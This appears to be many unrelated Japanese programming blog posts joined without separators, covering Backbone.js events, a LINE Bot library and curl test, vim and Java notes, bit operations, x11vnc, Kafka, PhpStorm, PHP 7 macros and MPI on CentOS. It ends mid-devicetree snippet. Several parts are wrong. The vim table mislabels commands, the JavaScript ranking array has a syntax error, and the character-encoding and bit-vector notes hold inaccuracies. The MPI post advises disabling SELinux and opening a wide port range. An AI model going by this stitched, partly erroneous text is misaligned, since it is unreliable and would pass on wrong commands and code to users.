Backbone.jsには組み込みイベントがあります。
Backbone.jsはreactほどではありませんが、Reactの次ぐらいに人気があるJavaScriptフレームワークです。

![スクリーンショット 2016-04-09 19.54.25.png](https://qiita-image-store.s3.amazonaws.com/0/15964/9a4ec622-5674-0699-0592-2b0a6a229a7c.png "スクリーンショット 2016-04-09 19.54.25.png")
http://www.npmtrends.com/react-vs-angular-vs-backbone

これに学べば、良いイベント名がわかるでしょう。

# イベント名

Backbone.jsの組み込みイベントは、[Catalog of Built-in Events](http://backbonejs.org/#Events-catalog)に一覧があります。

ここでは、Backbone.ModelとBackbone.Collectionの操作に関わるイベントのみを扱います。
サーバとの通信、Backbone.Routerに関わるイベントもありますが、扱いません。

BackboneにはBackbone.Modelという一つのデータを扱うクラスとBackbone.Collectionという複数のデータを扱うクラスがあります。

## Backbone.Modelのイベント

### change

	when a model's attributes have changed.

モデルの一つの属性を変更したとき

`change:[attribute]`は、特定の属性を変更した時

### destroy

	when a model is destroyed.

一つのモデルを破壊した時

### invalid

	 when a model's validation fails on the client.

一つのモデルのバリデーションに失敗した時

## Backbone.Collectionのイベント

### add

	when a model is added to a collection.
	
一つのモデルをコレクションに追加した時

### remove

	 when a model is removed from a collection.

コレクションから一つのモデルを削除した時

### update

	single event triggered after any number of models have been added or removed from a collection.

コレクションから幾つかのモデルが追加または削除された時に一つのイベントを送出

### reset

	when the collection's entire contents have been reset.

コレクションの全内容をリセットした時

### sort

	when the collection has been re-sorted.

コレクションを並べ替えた時

## 特殊なイベント

Backboneのイベントエミッターにはちょっと変わった仕組みがあります。

### all

	this special event fires for any triggered event, passing the event name as the first argument followed by all trigger arguments.

どのイベントが発火した時も発火する。
第一引数で発火元のイベント名、以降の引数でイベントと引数を渡します。


### 使用例

これを使っているのが[Backbone.Colleciton](http://backbonejs.org/#Collection)の次の機能です。


	Any event that is triggered on a model in a collection will also be triggered on the collection directly, for convenience.

コレクション中の各モデルで発火したイベントは、コレクションでも発火します。
これは便利だからです。

CollectionにModelを追加する際に、`all`イベントを監視しています。

http://backbonejs.org/docs/backbone.html#section-144

```js
model.on('all', this._onModelEvent, this);
```

イベントエミッターオブジェクトで階層構造を組んだとき、イベントを中継したくなることがあります。`all`イベントを使うと中継の実装が簡単になります。とても興味深い設計です。


# まとめ

## ドメインモデルに最低限必要なイベント
### Model

#### change

### Collection

#### add
#### remove
#### reset

## あると便利なイベント

### Model
#### destroy

ViewとModelが1対1で対応する時に、Collectionを監視せずに済みます。

#### invalid
モデルでバリデーションする場合、（MVCの）Controllerで制御せずに、ViewがModelを監視して表示を変更できます。

### Collection
#### update
一回の操作で、複数のModelが削除される際に、レンダリングをまとめられます。高速化に役立ちそうです。

#### sort
順序つきのデータを扱う時に便利です。
LINE Bot を作るための Node.js ライブラリを作った

**追記（16/10/25）：ライブラリ自体は Messaging API に書き換えましたが，記事は古いままです．**
**詳しい使い方は https://3846masa.github.io/node-linebot/ を見てください**

LINE Bot APIが公開になりました．
とりあえずライブラリ作ったので晒しておきます．

[![NPM](https://nodei.co/npm/@3846masa%2Flinebot.png?mini=true)](https://nodei.co/npm/@3846masa%2Flinebot)
[![Github](https://img.shields.io/badge/Github-%403846masa%2Flinebot-red.svg)](https://github.com/3846masa/node-linebot)

<!-- more -->

## 使い方

適当なサーバ，ドメイン，SSL環境などを用意します．
SSLは，CloudflareのSSLを使ってやりました．
（Proxy IPが変わる可能性もあるので，常用はできなそうですが....）
その辺の話は，[こちらの記事](http://qiita.com/git6_com/items/008404506836011af33b)とか見ると良さそうです．

LINE Bot APIのサイト側設定については，ここでは省きます．
IP Whitelistの設定，Callback URLの設定は，[他の記事](http://qiita.com/tags/linebot/items)を参照してください．

### インストール

```sh
npm install --save @3846masa/linebot
```

ちなみに，ぼくはメンテナンスしなさそうなので，名前空けときました．
誰かちゃんとメンテナンスする人，もっといいライブラリ作ってください．

### コード

**古い内容です．新しい使い方は https://3846masa.github.io/node-linebot/ を見てください．**

テキストのみをechoするbotの例です．

```javascript
const LineBot = require('@3846masa/linebot');
const bot = new LineBot({
  channelID: 'xxxxxxx',
  channelSecret: 'xxxxxx',
  MID: 'xxxxxx'
});
 
bot.on('message', (res) => {
  const content = res.content;
  if ( content.contentType === LineBot.CONST.CONTENT_TYPE.TEXT ) {
    bot.postText({
      user: content.from,
      message: content.text
    });
  } else {
    bot.postText({
      user: content.from,
      message: 'Not text.'
    });
  }
});
 
bot.listen(3000);
```

``listen``のポートは好きに変えてください．
Callback URLのPathは，とくに指定していないので，どのようなURLにしても通ります．
ただし，しっかりSignatureのチェックも書いたので，LINEからのリクエスト以外は弾かれます．
もし，Pathをちゃんと指定したい人は，[好きに弄ってください](https://github.com/3846masa/node-linebot)．

### ドキュメント

ESDoc試したかったので，[頑張って書きました](https://3846masa.github.io/node-linebot/)．

https://3846masa.github.io/node-linebot/

``postXXXX``のような関数で，色々送信できます．
これで，簡単なbotであればすぐ作れますね．

## 余談

未だにLINE Botをうまくデプロイする方法が思いついてないのですが，いい案誰か考案してください．
誰でも簡単にbotが作れるようになると，楽しいですよね，きっと．

## 広告
> 広告
> Nakano Computer Club では する部員を募集しています。
> https://meiji-ncc.tech/
LINE BOTの送信機能をcurlで試す

一度callbackに含まれているfromさえわかればcurlで試せる。
いちいちherokuにpushしてコールバックを起こして試すとかが面倒だったのでcurlで代用する。

```
curl -X POST -H "Content-Type: application/json; charset=UTF-8" -H "X-Line-ChannelID: %ChannelID%" -H "X-Line-ChannelSecret: %SECRET%" -H "X-Line-Trusted-User-With-ACL: %WID%" -d "{\"to\": [\"%TO%\"], \"toChannel\": 1383378250, \"eventType\": \"138311608800106203\", \"content\":{\"contentType\": 1, \"toType\": 1, \"text\": \"Hello, Jose!\" }}" https://trialbot-api.line.me/v1/events
```

windowsで試したのでJSON中の `"` は `\` でエスケープしている。
`%ChannelID%` と `%SECRET%` と `%WID%` はLINE Developersの Basic informationで調べる。
`%TO%` はコールバックのリクエストの中にあるからそれを使う。LINE IDが使えるのかなって思ったけども、使えなかった。
macosxでawscliインストールできなかった件

# 環境

MacOSX 10.11.3
Python 2.7.11

# 現象と対処法

## 現象
コマンド実行…
> $ aws help

エラー、怒られ方は以下２段階。

<pre>
ImportError: No module named six
</pre>

<pre>
ImportError: No module named pyasn1.error
</pre>

## 対処法

$ sudo easy_install six
$ sudo pip install pysnmp

コマンド実行…
> $ aws help

治った。

## 参照
### six module
http://stackoverflow.com/questions/13967428/importerror-no-module-named-six
### pysnmp ※ページ内容そのまま実行しただけ
http://stackoverflow.com/questions/4366124/msession-not-defined
Javascriptでスコアランキングのソート

自分の得点がベスト５以内にあったら挿入（最下位を削除）、といった操作をする場合、
Javascriptならpush,sort,popが簡単です。

```
sortRank = function(_rankArr,_score){
    _rankArr.push(_score);
    _rankArr.sort(function(a,b){return b-a});
    _rankArr.pop();
    return _rankArr;
}
```
`var rankArr=[100,90,70,20,0];`
にscore=50を加えると、
`[100,90,70,50,20];`
となります。

```
var rankArr=[
  {name:"dekisugi",score:100),
  {name:"sizuka",score:90},
  {name:"suneo",score:70},
  {name:"gian",score:20},
  {name:"nobita", score:0}
];
```
だったとしてもやることは同じです。

```
sortRank = function(_rankArr,_test){
    _rankArr.push(_test);
    _rankArr.sort(function(a,b){return b.score-a.score});
    _rankArr.pop();
    return _rankArr;
};
```
rails form builder

http://likeawritingdesk.com/2011/04/15/very-custom-form-builders-in-rails/

http://onrails.org/2008/06/13/advanced-rails-studio-custom-form-builder

```rb
ActionView::Base.default_form_builder = LabelFormBuilder
```

```rb
if @object.class.validators_on(label).collect(&:class).include? ActiveModel::Validations::PresenceValidator
      if label_class.nil?
        label_class = "required"
      else
        label_class = label_class + " required"
      end
end
```
vim備忘録


vimのキーを忘れがちなので、こちらにメモっていく

# モード変更
| コマンド |  |
|-----------|--------|
| i        | 入力モード        |
| :        | コマンドモード        |
| esc      | ノーマルモード     |
| v         | 行末に移動        |

# 保存
| コマンド |  |
|----------------|-------------------|
| :w             | 入力モード         |
| :w filename    | 保存する           |
| :q             | ノーマルモード      |
| :q!            | 強制終了           |
| :e             | 新しいファイルを開く |
| :e hoge.txt    | hoge.txtを開く     |


# 移動系
| コマンド |  |
|-----------|--------|
| gg        | 行頭に移動        |
| G         | 行末に移動        |
| ctrl + f  | ページ単位での移動 |
| ctrl + b  | 画面単位で移動     | 
| w          | 単語単位で前進       |
(メモ)UMGで動的に座標を割り振られたウィジェットの座標を知る方法。

# 概要
UE4のUMGには`VerticalBox`や`HorizontalBox`みたいな、子の座標を自動的に割り振ってくれる機能がありますが、
これらに依って動的に割り振られた座標って子のプロパティからは取得できなくてちょっと不便な時もある気がします。
(取得するプロパティや関数があったら教えてクレメンス!!)

と言うわけで、今回は(ちょっと遠回りになりますが)その座標を調べる方法を綴ります。

※検証環境は Unreal Engine 4.10.x です。

# サンプル構成
検証のためにVerticalBoxやHorizontalBoxをふんだんに使ったウィジェットを作ったよ！
![ss_024.png](https://qiita-image-store.s3.amazonaws.com/0/97611/a8cfa1c5-dda0-4746-9b74-206eb4d2129f.png)

`Target` の座標を求めるよ。

# 手順

今回の手法では子側の拡張が必要になるよ。

## 1. Target を親ウィジェットから切り離して新規ウィジェットとして生成
![ss_025.png](https://qiita-image-store.s3.amazonaws.com/0/97611/2850ed48-256e-8ea1-fa97-d8929b36014e.png)

親ウィジェットの階層から切り取って新しいウィジェットに張り付けてね。

## 2. Event Tick で 座標取得して変数に格納

![ss_026.png](https://qiita-image-store.s3.amazonaws.com/0/97611/fe650ae4-2bbb-61df-40eb-0030aa5c847a.png)

↑みたいに、 `Event Tick` から `Local to Viewpoint` を通して、戻り値を変数に格納してね！

変数を公開すればもう完成したも同然！
とっても簡単ね！

詳しく知らないけど `Absolute to Viewport` っていう関数もあるよ。

## 3. 親ウィジェットに戻って新しく作ったウィジェットを再配置
![ss_027.png](https://qiita-image-store.s3.amazonaws.com/0/97611/c8c73133-2910-c98d-5c2d-c18c43a037a8.png)

`パレット` -> `ユーザーが作成` から、さっき作ったウィジェットを選んで、 `Target` があった位置に再配置してね！

# テスト

## 1. 親ウィジェットから子ウィジェットの座標を参照して出力してみる
![ss_028.png](https://qiita-image-store.s3.amazonaws.com/0/97611/88a08e3e-550b-b655-d35c-ed61d35c46a1.png)

子ウィジェットで公開した変数を参照してPrintしてみるよ。

## 2. できたかな？
![ss_029.png](https://qiita-image-store.s3.amazonaws.com/0/97611/a65f86dd-f39e-da19-e611-71f7958da3cd.png)


# 欠点

- 回りくどい
- Tickで初めて座標が更新されるので、初回(Construct)では 0,0 しか取れない
- スクロールなどで画面外に出るとTickが呼ばれなくなるので座標が取れなくなる
文字コードの基本と、表現できる文字数


文字コードに関して調べためも。

[文字コード wikipedia](https://ja.wikipedia.org/wiki/%E6%96%87%E5%AD%97%E3%82%B3%E3%83%BC%E3%83%89)より

> 文字コード（もじコード）はコンピュータ上で文字（キャラクタ (コンピュータ)）を利用するために各文字に割り当てられるバイト表現。もしくは、バイト表現と文字の対応関係（文字コード体系）のことを指して「文字コード」と呼ぶことも多い。

英数字の文字コードは 1バイトで表現されるが、この場合、256文字しか表現できない。すると、日本語、中国語の感じは表現しきれないため、それぞれ2バイトのコード体系を定め運用している。

[IT用語辞典 文字コード](http://e-words.jp/w/%E6%96%87%E5%AD%97%E3%82%B3%E3%83%BC%E3%83%89.html)より

> 1バイトの文字コードとしてはASCIIが世界標準となっているが、一部の大型コンピュータではIBM社のEBCDICを使うものもある。

> 日本語の文字コードは、JIS（日本工業規格）で標準化されたJISコードの他、主にUNIXなどで使われるEUC、WindowsやMac OSなどで使われるシフトJISの3種類が利用されている。

> 最近では、世界のほとんどの主要な言語をサポートした2バイトの統一文字コード体系であるUnicodeの規格化が進み、一部で利用が始まっている。

> Unicodeはこれまで各国でばらばらに制定されてきた文字コードを統一するものとして期待されているが、普段アルファベットしか使わない欧米の情報技術関連企業を中心に規格化が進んだこともあり、数多くの文字を抱えるアジアの国々からは批判されている。
【Javaの基本】パッケージにかんして理解する


## パッケージとは

Javaのクラスを分類するための仕組み。

## 使い方

```SampleClass.java
package foo;
```

あるクラスのファイル`SampleClass.java`内の先頭で、上記のように宣言することで、そのSampleClassがパッケージfooに属することを宣言できる。

こうして宣言されたパッケージを他のクラスから使用したい場合に、`import foo.*;`として使用することを宣言できる。今作ったSampleClassのみのimportで良い場合は,`import foo.SampleClass`といったようにかける。

## 参考

以下の記事が参考になった。

[【第１３回】パッケージについて理解する](http://www.acroquest.co.jp/webworkshop/java_course/J_lecture13.html)
【Javaの基本】Javaを初めて書く前に知っておきたいこと



最近Javaの勉強を始めましたので、その備忘録に。
理解が正しくないところがあれば、指摘していただけると嬉しいです。

初めてRubyからJavaをかくに当たって、知らないと書けないルール的なものをいくつかあったので、メモ。

- Javaのプログラムは必ずクラスから構成される。
- クラス名と、ファイル名は一致させる。
- mainメソッドは、実行時に最初に呼び出される。そのファイルで実行したくなければ書かなくて良い。
- mainメソッドにおいて、引数`String[] args`はコマンドライン引数を受け取るため。 `java ClassName first_arg second_arg` のように書くことができる。
「ビット演算・ビットベクトルとは」を理解する

## ビット演算とは

[ビット演算 wikipedia](https://ja.wikipedia.org/wiki/%E3%83%93%E3%83%83%E3%83%88%E6%BC%94%E7%AE%97)より

> ビット演算（ビットえんざん）とは、ひとつあるいはふたつのビットパターンまたは二進数を個々のビットの列として操作することである。

数値を2進数の形式で表示し、各ビットにたいして演算を行う。

### 演算子 AND(&)

左辺と右辺の同じ位置のビットを比較して、共に「1」の箇所のみ位置にする。

```.java
例)
22 & 14
===> 6
```

これは、22が`10110`で、14が`1110`で共に位置の箇所を取ると、`110`すなわち6となる。


### 演算子 OR(|)

ANDのORバージョン。そのままの意味である。

### シフト演算子 << >>

[シフト演算子](http://www.javaroad.jp/java_operator4.htm)がわかりやすいです。

> `x << y` は xのビットをyビットだけ左にシフトさせ、右端には0を埋める。
`x >> y` は xのビットをyビットだけ右にシフトさせ、左端にはその時の最上位と同じ符号を埋める。
`x >>> y` は xのビットをyビットだけ右にシフトさせ、左端には0を埋める。

最上位の桁とは、+/-を決めている桁。

```.java
例)

1 << 4 // => 2進数で10000なので、16を返す
3 << 5 // => 2進数で1100000なので、96を返す

8 >> 2 // => 2進数で10なので、2を返す。

```

> `<<`は左オペランドのビットを右オペランドのビット分だけ、左にシフトさせます。左へのシフトは元の値に2をシフト分累乗した値を乗算することを意味します。

> `>>`は左オペランドのビットを右オペランドのビット分だけ、右にシフトさせます。右へのシフトは元の値に2をシフト分累乗した値を除算することを意味します。左端には最上位のビットと同じ符号が入ります。

> `>>>`は左オペランドのビットを右オペランドのビット分だけ、右にシフトさせます。左端には0が入ります。左端に0が入ると言うことは >>>は演算結果に正負の区別を持たないとも言えます。>>>演算子は符号の区別を持たない演算処理に使用します。

## ビットベクトルとは

```
[1,0,0,0,0,1]
```

のように0,1のみを値として持つベクトルのことである。

4バイトの領域があれば、32個の0と1の並びを表現できる。

例えば、Javaにおける`int`タイプは **4 bytes(32 bits)** である。つまり、`int` 型の変数一つで32個の0と1の並びを表現することができる。


## ビットを立てる

```.java
int position = 5 // 0101 の1の箇所を指す
int foo = 0;
foo = foo | 1 << position // posの場所のbitを1に立てる
```

```
foo |= 1 << position
```

ともかける。

***

## 参考

### Javaのそれぞれの数字型のbit数に関して

[Section 4.2: Primitive Types and Values](http://docs.oracle.com/javase/specs/jls/se8/html/jls-4.html#jls-4.2)より

> The integral types are byte, short,  int, and long, whose values are 8-bit, 16-bit, 32-bit and 64-bit signed two's-complement integers, respectively, and char, whose values are 16-bit unsigned integers representing UTF-16 code units (§3.1).
Ubuntu15.10でUnityが使えるVNCサービスを立てる方法

"Ubuntu vnc"で検索した結果では、gnomeを立ち上げる方法は見つかりましたが、Unityを立ち上げる方法がなかなか見つからなかったので、Qiitaに残しておきます。

方法について、公式wikiに記載がありました。
https://help.ubuntu.com/community/VNC/Servers

vinoを使う方法では、自分の環境ではうまくいかなかったため、x11vncを使いました。

まず、x11vncをインストールする。

```
$ sudo apt-get install -y x11vnc
```

VNCで利用するパスワードを保存する。

```
$ x11vnc -storepasswd
Enter VNC password:
Verify password:
Write password to /home/USERNAME/.vnc/passwd?  [y]/n y
Password written to: /home/USERNAME/.vnc/passwd
```

x11vncを立ち上げる。公式wikiでは、ポート番号が5900になっていましたが、このポートでは立ち上がらなかったため、5901に変更しています。あと、USERNAMEの部分は自分のユーザ名にしてください。

```
$ x11vnc -auth guess -forever -loop -noxdamage -repeat -rfbauth /home/USERNAME/.vnc/passwd -rfbport 5901 -shared
```

これで、このサーバにポート5901で、設定したパスワードで入れることを確認する。

大丈夫そうならば、一度Ctrl-cで終了する。
起動時にx11vncが立ち上がるように、systemdに設定を追加する。

```
$ sudo vi /lib/systemd/system/x11vnc.service
```

```
[Unit]
Description=Start x11vnc at startup.
After=multi-user.target

[Service]
Type=simple
ExecStart=/usr/bin/x11vnc -auth guess -forever -loop -noxdamage -repeat -rfbauth /home/USERNAME/.vnc/passwd -rfbport 5901 -shared

[Install]
WantedBy=multi-user.target
```

```
$ sudo systemctl daemon-reload
$ sudo systemctl enable x11vnc.service
```

もし、Hyper-Vで起動している場合は、以下を参考にすると、画面の解像度を変更できます。

* [Hyper-V上のUbuntuで解像度を変えたい | Wait Cursor](https://waitcursor.wordpress.com/2015/04/26/hyper-v%E4%B8%8A%E3%81%AEubuntu%E3%81%A7%E8%A7%A3%E5%83%8F%E5%BA%A6%E3%82%92%E5%A4%89%E3%81%88%E3%81%9F%E3%81%84)
CentOSのDevelopment Tools

apt-getの``build-essential``に相当するインストール方法は無いかと探してみたところ、yumには``groupinstall``というサブコマンドが存在するようです。

``groupinstall``を使用すると、下記のような感じで開発関連ツールを一括インストールすることができます。

```
$ sudo yum groupinstall "Development Tools"
```

ちなみに、``groupinstall``で指定するグループ名は、

```
$ sudo yum grouplist
```

で調べることができます。



# グループ関連サブコマンド一覧

- グループの一覧表示

```
$ sudo yum grouplist
```

- グループの単位のインストール

```
$ sudo yum groupinstall "グループ名"
```

- グループの単位の削除

```
$ sudo yum groupremove "グループ名"
```

- グループ単位のアップデート

```
$ sudo yum groupupdate "グループ名"
```

- グループに含まれるパッケージの表示

```
$ sudo yum groupinfo "グループ名"
```
CakeFest2016に行く件について

CakePHPのカンファレンス「CakeFest」が、
今年はオランダのアムステルダムで開催されます。
カンファレンスは5/28,29の二日間です。
周りにも参加する方がいて、私も行けたら行きたいなーくらいにしか思っていませんでしたが、
この数ヶ月、色々な縁があり、会社の研修（？）の一環として参加できる運びとなりました。

![image](https://qiita-image-store.s3.amazonaws.com/0/103853/d6521358-564f-3f86-4e43-44b634d96d1e.png)
やったー！

ただし、前提は「次はスピーカーの立場になること」

と言ってもCakeFest初めてなので、どんな感じか掴めていません。
・LTどんな感じで行われるのか
・どんな内容のLTが良いか、多いか
今回は、これらを知るためにも参加しようと思っていますが、
事前に分かれば、今回LT発表しても良いかも知れません。
知っている方いれば教えてください。
LinkedInのKafkaに関する論文を読んでみた（１）

# 0. 本投稿について
LinkedInのKafkaについて書かれた論文を読んだので、概要だけ記録する。
論文リンク
http://sites.computer.org/debull/A12june/pipeline.pdf

# 1. Introduction
- LinkedInでは、コネクション予測、ジョブのマッチング、表示する広告の最適化をユーザーの行動履歴から機械学習を利用してモデリングしている。
- ユーザーのソーシャルネットワークに関連のあるニュースフィードをactivity drivenに投稿している

### 1.1 Previous Systems
- 行動履歴データをデータウェアハウス(DWH)にInsertするバッチ指向のシステムとサーバのメトリクスとロギングを処理するシステム（監視システムにのみ利用）の２つのシステムを構築していた。
- どちらもpoint to point でデータのやり取りを行い、送信先は１つに決まっていた。 
- ユーザの行動履歴はログファイル（xml形式）に収集してETLサーバにバッチで送信する。
- ETLサーバがログファイルのメッセージをパースして、RDBとHadoopにインポートする。
- 問題点
 - リアルタイム性に欠ける。（ファイルに出力されたものをパースしてインポートするので、ファイルローテーションの時間分ラグが出てしまう。）
 - 送信先は一つしかサポートしない
 - アプリケーションが直接xmlのメッセージを出力するので、予期しないスキーマの変更があった場合に対応できない

### 1.2 Struggles with real-time infrastructure
システムをよりリアルタイム化するために、様々な方法を試した。
秒間2,3000のメッセージをさばくことができ、LinkedInの他サービスでも稼働実績があったのでActiveMQを利用してプロトタイプを作成しテストしてみた。その結果、以下の問題があった。

- メモリにキューとして保持できるデータ量を超えるとその時点で性能が著しく低下する。（ランダムIOが多いため。）
- Consumerプロセス（データを取得するクライアント）自身がバランスをとっているので、与えられたキューにConsumerプロセスがないという事象が発生した。(管理できないので、Consumerからbrokerへの割当をstaticにしたくなかった。)
- ActiveMQ自体のバグで(brokerのhung up、コネクションリーク、アウトオブメモリー等）

これらが、既存のプロダクトではなくpipeline infrastractureを自社開発しようというモチベーションになった。

# 2. Pipeline Infrastructure
### 2.1　Conceptual Overview of Kafka
- 抽象化したバイト配列としてメッセージをモデリングする。
- Producerはあるフィードの全てのメッセージを持つtopicにメッセージを送る。
- それぞれのtopicはKafkaのbrokerのクラスターに分散され、brokerはそれぞれのtopicごとのパーティションを持つ。
- パーティションはメッセージが書かれた順番に並ぶ。
- システムの動作は以下２つ
 - topicの値に新規メッセージをappend
 - 特定のメッセージidから始まるパーティションからメッセージをfetch
- 全てのtopicは複数のsubscriberから読み取り可能、かつ、とても小さなoverheadでsubscriberを追加可能
- 稼働中にグループにノードを追加可能でstaticなconfigurationなしに自動リバランスする。
- Zookeeperを利用してグループのハートビートやconsumerへpartitionの割当を行う。　　※この辺りの説明は結構複雑だったので、一旦放置。
- 多少のデータロスは許容できるものに利用している。高可用性を提供する試みとして、それぞれの機能(producer,broker,consumer)ごとにロスや遅延を発見するためのデータを計測している。

### 2.2 Kafka Usage at LinkedIn
- Kafkaは１日あたり１００億を超えるメッセージの書き込みを処理する。
- 高トラフィックの時間帯は秒間172,000メッセージを扱う。
- totalで40のconsumerがありtopicをconsumeしている（8個はreplicationやモニタリングツール用で、それ以外はユーザーやその他機能から書き込まれるアプリケーション）
- ユーザー行動履歴データとシステムログをあわせて367topicをサポートしている。
- 最大で一つのtopicが１日92GB追加される。小さなものは数KB
- メッセージデータは７日間保持され、データがconsumeされたかどうかに関わらず経過した時点でgarbageとして収集される。
- Consumerはこのポリシーをtopicごとに変更可能
- 全topic合わせて9.5TB（圧縮済み）を保持している。
- Kafka用のサーバはデータセンターごとに8台で、それぞれのサーバがStorage　6TB（RAID10で普通のSATAディスク）
- クラスターにつき、10,000コネクションを捌く

# 3. Enineering for High Throughput
logファイルにまとめる設計はbufferingして効率のよいIOパターンで書き込めるのでHigh-Throughputが有利な点だが、障害によりbufferingしているメッセージのロスやリアルタイム性に欠ける。つまり、ファイルサーバに収集される前に書き込みが終了していないといけない。これを縮めるにはファイルのローテーションを1分毎など短い間隔にすることも考えられるが、そうすると大量のファイル数を管理するコストがかかる。
アーキテクチャとしてロギングシステムで管理コストを抑えるモデルかつ、効率的なメッセージングシステムを設計するのがKafkaの設計のゴールとなる。
Kafkaでは、技術的な面で以下３つの効率化を行っている。（３項目の詳細については後日記載）
- パーティショニング
- chunk サイズの効率化
- データ圧縮

ここまでで、自身の経験と当てはまる部分も多くて参考になる.この先は気が向いたら追記
PhpStormの初期設定

![PhpStorm2016.png](https://qiita-image-store.s3.amazonaws.com/0/50208/1f82c05d-1720-90b0-f104-f8a94f78f42d.png)

#はじめに

まだPhpStormインストールしてない方はこちらから → [PhpStorm公式](https://www.jetbrains.com/phpstorm/)です。
30日も無料期間あるのは嬉しいですよね！
合わなかったらヤメればいいので、お金も無駄にしない(｀･ω･´)ゞ

バージョンアップしたらこんなイケてる感じになっていて、PhpStorm使っててよかったーって
思いました。はい。

それよりも、違うPCにPhpStormを入れたときに設定どうするか忘れてて探しまくったのですが
設定するまでのルートが若干違う部分があったのでメモとして残そうと思った次第です。

といっても、間違いなく使いこなしていないけど、なんだか使ってて気持ちいいのです！！！

Win だと【File】からで Mac は【Preferences】から設定できたような気がする。
ごめんなさい。雑です。

#行番号を表示
Settings → Editor → General → Appearance の Show line numbers にチェックを入れる

#ホワイトスペース表示
Settings → Editor → General → Appearance の Show whitespaces にチェックを入れる

#カラースキーマ設定
View → Quick Switch Scheme → Color Scheme → Monokai

個人的にMonokai派です

#改行
Settings → Editor → General → Use soft wraps in editor

改行不要な人はデフォルトのままでいきましょう。

#エディター変更
エディターなどをカスタマイズ設定するときは、デフォルトで用意されているやつとは別に保存します。

Settings → Editor → Colors & Fonts → Font
SchemaをMonokaiに設定（好み）して Save As でセーブ。セーブするときの名前はなんでもよいです。

##フォント変更
Primary font 好み

##フォントサイズ変更
Size 好み

##行の高さ変更
Line spacing 好み

#CakePHP PHP filesに拡張子ctpを追加
Setting → Editor → File Types で PHP files に *.ctp を追加。
拡張子ctpのファイルがシンタックスハイライト等が有効になる。

#プラグイン
色々と便利なプラグインたち。

Setting → Plugins の Browse reposities を選択。
これで下記の文言を検索すればヒットするのでそれをインストール、PhpStromを再起動する。

詳細は書いてませんが、サポートして欲しいなぁと思った言語とか何やらを検索すれば結構ヒットします。

##CakeStorm
CakePHP触るときサポートしてくれる。

##BashSupport
Bashをサポートしてくれる。

##NodeJS
NodeJSをサポートしてくれる。

##AngularJS
AngularJSをサポートしてくれる。

##Git Flow Integration
Git FlowがPhpStomから実行できるようになる。

##Markdown support
Markdown書くときサポートしてくれる。

##.ignore
ignore系がいい感じになる。

##IdeaVim
vim使いの方はこれを入れればキーマップをvimっぽくできます。
私はいれてませんが。
そもそも、vim使いの人はvimを使うのではないのかなーと個人的に感じてる部分ではありますよね。

#おわりに
よし、これでどのPCでもすぐ設定ができるようになった！！！
PhpStormはPHPしかサポートしてなさそうだけど、色んなものをサポートしてるんですねー。
素晴らしい。

ほんとはもっと設定とか出来て、PhpStormだけでほぼ完結するんだけど、そこに到達するにはまだまだ先になりそうです。。。
ubuntu14.04 cronログ出力設定

cronがうまく動いていない時があるようで、ログを見たいけど見当たらない。(/var/log/cron.logが無い。。)

下記のような設定が必要みたい

/etc/rsyslog.d/50-default.conf内で

　＃cron.*         /var/log/cron.logの#を取る

service rsyslog restartで、rsyslogを再起動

無事、ログファイルが出来ました
PHP 7 用 extensionで使える文字列関連マクロ関数まとめ

PHP 7 用の extension を書いていて何度も混乱したので自分用まとめ。

## zend_string を扱うマクロ

`zend/zend_string.h`で定義されています。

```c
char *ZSTR_VAL(zend_string *zstr)
size_t ZSTR_LEN(zend_string *zstr)
```

## 文字列型の zval を扱うマクロ

`zend/zend_types.h`で定義されています。

```c
zend_string *Z_STR(zval zv)
zend_string *Z_STR_P(zval *zp)

char *Z_STRVAL(zval zv)
char *Z_STRVAL_P(zval *zp)

size_t Z_STRLEN(zval zv)
size_t Z_STRLEN_P(zval *zp)
```

## 感想

`Z_STRLEN`と`ZSTR_LEN`とあるのは仕方ないとは思うけど、わかるかこんなもん！という気持ちになりますね。

こうしてまとめてみた結果、`ZSTR_`が`zend_string`用のマクロ、`Z_`が`zval`用のマクロである、という無駄知識を獲得できました。
CentOS7 + InfiniBand で MPI を動かす

漢なら CentOS7 で InfiniBand で MPI を動かしたいですよね!
動かしましょう!

* OpenMPI
* InfiniBand(IPoIB 設定済み)
* firewalld による IP ファイアウォール(iptables サービスではない)

を仮定します.

## SELinux

まず, `/etc/selinux/config` を編集し SElinux を disable する.
(SElinux を有効にしていると, firewalld を切らない限り動かない模様)

一旦リブートします.

## Firewall 設定

firewall で MPI で使う interface を trusted ゾーンに移す.

    $ sudo firewall-cmd --permanent --zone=trusted --change-interface=ib0

1024-65535/tcp のポートを開放する.

    $ sudo firewall-cmd --permanent --zone=trusted --add-port=1024-65535/tcp

もしくは, interface が public から移せない場合(e.g. ether ネットのみ)は, public で 1024-65535/tcp のポートを開放する.
(より正確には OpenMPI が利用するポートだけ開放すればよいはず)

    $ sudo firewall-cmd --permanent --zone=public --add-port=1024-65535/tcp

firewalld をリロードして設定を反映.

    $ sudo firewall-cmd --reload

## OpenMPI インストール

openmpi をインストールする.

    $ sudo yum install openmpi
    $ sudo yum install openmpi-devel

`/usr/lib64/openmpi/bin/` に PATH を通しておく.

## ssh 設定

compute nodes に master node の ssh public key を known hosts に追加し, 自動ログインできるようにしておく.

    $ mpiexec -host 172.24.0.8 ls

で compute node の IP を指定してコマンドが実行できれば成功です!

Happy MPI computing!
Linuxでユーザー空間で動作するプログラムとハードウェアがメモリを共有するためのデバイスドライバ(Device Tree Overlay対応)

## はじめに

先日投稿した [「Linuxでユーザー空間で動作するプログラムとハードウェアがメモリを共有するためのデバイスドライバ」](http://qiita.com/ikwzm/items/cc1bb33ff43a491440ea) で紹介した [udmabuf](http://github.com/ikwzm/udmabuf)は、デバイスドライバのロード時に Device Tree に従って各種デバイスファイルを生成します。
通常、 Device Tree は Linux のブート時に指定されたものから変化することはありませんでした。
しかし、[「FPGA+SoC+LinuxでDevice Tree Overlayを試してみた」](http://qiita.com/ikwzm/items/ec514e955c16076327ce)で紹介したように、最近の Linux では Device Tree が動的に変化することがあります。
その際、問題になるのが udmabuf のデバイス名とデバイスドライバのマイナー番号でした。Device Tree が常に一定ならば、udmabuf のロード時にデバイス名とデバイスドライバのマイナー番号を決め打ちしても問題ありませんでしたが、動的に Device Tree が変化する場合、デバイス名やデバイスドライバのマイナー番号を決め打ちするのは不便です。

そこで、デバイスドライバをこれらの問題に対応すべく、Device Tree でデバイス名をで指定できるようにしたり、デバイスドライバのマイナー番号を省略した場合は自動的に空いている番号を割り当てるようにしました。

[http://github.com/ikwzm/udmabuf](http://github.com/ikwzm/udmabuf)

## デバイスツリーによる設定

```devicetree:devicetree.dts
		udmabuf@0x00 {
			compatible = "ikwzm,udmabuf-0.10.a";
			device-name = "udmabuf0";
			minor-number = <0>;
			size = <0x00100000>;
